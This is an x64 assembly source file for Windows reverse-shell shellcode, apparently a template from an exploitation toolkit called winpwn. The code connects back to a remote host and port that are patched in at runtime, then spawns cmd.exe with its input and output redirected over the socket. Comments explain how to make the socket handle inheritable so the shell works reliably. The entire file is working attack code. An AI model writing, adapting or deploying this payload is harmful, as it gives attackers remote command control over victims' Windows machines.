; reverse_shell_x64.asm — position-independent x64 shellcode: connect back ; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio ; redirected to the socket. The classic Windows reverse-shell primitive. ; ; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the ; assembled blob; winpwn patches sin_port/sin_addr at runtime (see ; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as ; constants since they never change. ; ; Real gotcha, worth recording here since it's easy to miss and the ; failure mode (cmd.exe launches but stdin/stdout look disconnected, no ; error anywhere) gives no hint why: socket() handles are NOT inheritable ; by default on modern Windows (a hardening change from the days when ; every handle was inheritable by default). bInheritHandles=TRUE on ; CreateProcessA alone is not enough -- SetHandleInformation must mark the ; specific socket handle as inheritable first, or the child simply doesn't ; get a usable copy of it no matter what STARTUPINFOA says. BITS 64 default rel start: push rbp push r12 push r13 mov rbp, rsp and rsp, ~0xF call get_kernel32_base mov r12, rax ; r12 = kernel32 base, kept for the whole routine ; WSAStartup(0x0202, &wsadata_buf) mov rcx, r12 lea rdx, [rel name_ws2_32] lea r8, [rel name_wsastartup] call resolve_export mov rcx, 0x0202 lea rdx, [rel wsadata_buf] sub rsp, 0x20 call rax add rsp, 0x20 ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) mov rcx, r12 lea rdx, [rel name_ws2_32] lea r8, [rel name_socket] call resolve_export mov rcx, 2 mov rdx, 1 mov r8, 6 sub rsp, 0x20 call rax add rsp, 0x20 mov r13, rax ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT) ; -- see the file header: without this, the child below can't actually ; use sockfd no matter what STARTUPINFOA/bInheritHandles say. mov rcx, r12 xor rdx, rdx lea r8, [rel name_sethandleinformation] call resolve_export mov rcx, r13 mov rdx, 1 mov r8, 1 sub rsp, 0x20 call rax add rsp, 0x20 ; connect(sockfd, &sockaddr_buf, 16) mov rcx, r12 lea rdx, [rel name_ws2_32] lea r8, [rel name_connect] call resolve_export mov rcx, r13 lea rdx, [rel sockaddr_buf] mov r8, 16 sub rsp, 0x20 call rax add rsp, 0x20 ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is ; CreateProcessA's own shadow space + its 6 stack-passed arguments. sub rsp, 0xE0 mov qword [rsp+0x50], 0 mov qword [rsp+0x58], 0 mov qword [rsp+0x60], 0 mov qword [rsp+0x68], 0 mov qword [rsp+0x70], 0 mov qword [rsp+0x78], 0 mov qword [rsp+0x80], 0 mov qword [rsp+0x88], 0 mov qword [rsp+0x90], 0 mov qword [rsp+0x98], 0 mov qword [rsp+0xA0], 0 mov qword [rsp+0xA8], 0 mov qword [rsp+0xB0], 0 mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60) mov [rsp+0xA0], r13 ; .hStdInput (offset 80) mov [rsp+0xA8], r13 ; .hStdOutput (offset 88) mov [rsp+0xB0], r13 ; .hStdError (offset 96) ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) mov rcx, r12 xor rdx, rdx lea r8, [rel name_createprocessa] call resolve_export mov r14, rax xor rcx, rcx ; lpApplicationName = NULL lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe" xor r8, r8 ; lpProcessAttributes = NULL xor r9, r9 ; lpThreadAttributes = NULL mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE mov qword [rsp+0x28], 0 ; dwCreationFlags = 0 mov qword [rsp+0x30], 0 ; lpEnvironment = NULL mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL lea rax, [rsp+0x50] mov qword [rsp+0x40], rax ; lpStartupInfo = &si lea rax, [rsp+0xB8] mov qword [rsp+0x48], rax ; lpProcessInformation = &pi call r14 add rsp, 0xE0 mov rsp, rbp pop r13 pop r12 pop rbp ret %include "resolver.inc" name_ws2_32: db "ws2_32.dll", 0 name_wsastartup: db "WSAStartup", 0 name_socket: db "socket", 0 name_connect: db "connect", 0 name_sethandleinformation: db "SetHandleInformation", 0 name_createprocessa: db "CreateProcessA", 0 ; lpCommandLine must point at writable memory (CreateProcessA may modify ; it in place) -- fine here since shellcode bytes live in a writable page ; wherever they landed, same as every other template's embedded buffers. cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0 align 8 wsadata_buf: times 512 db 0 align 8 sockaddr_buf: dw 2 ; sin_family = AF_INET dw 0 ; sin_port, patched at runtime (network byte order) dd 0 ; sin_addr, patched at runtime (network byte order) dq 0 ; sin_zero[8]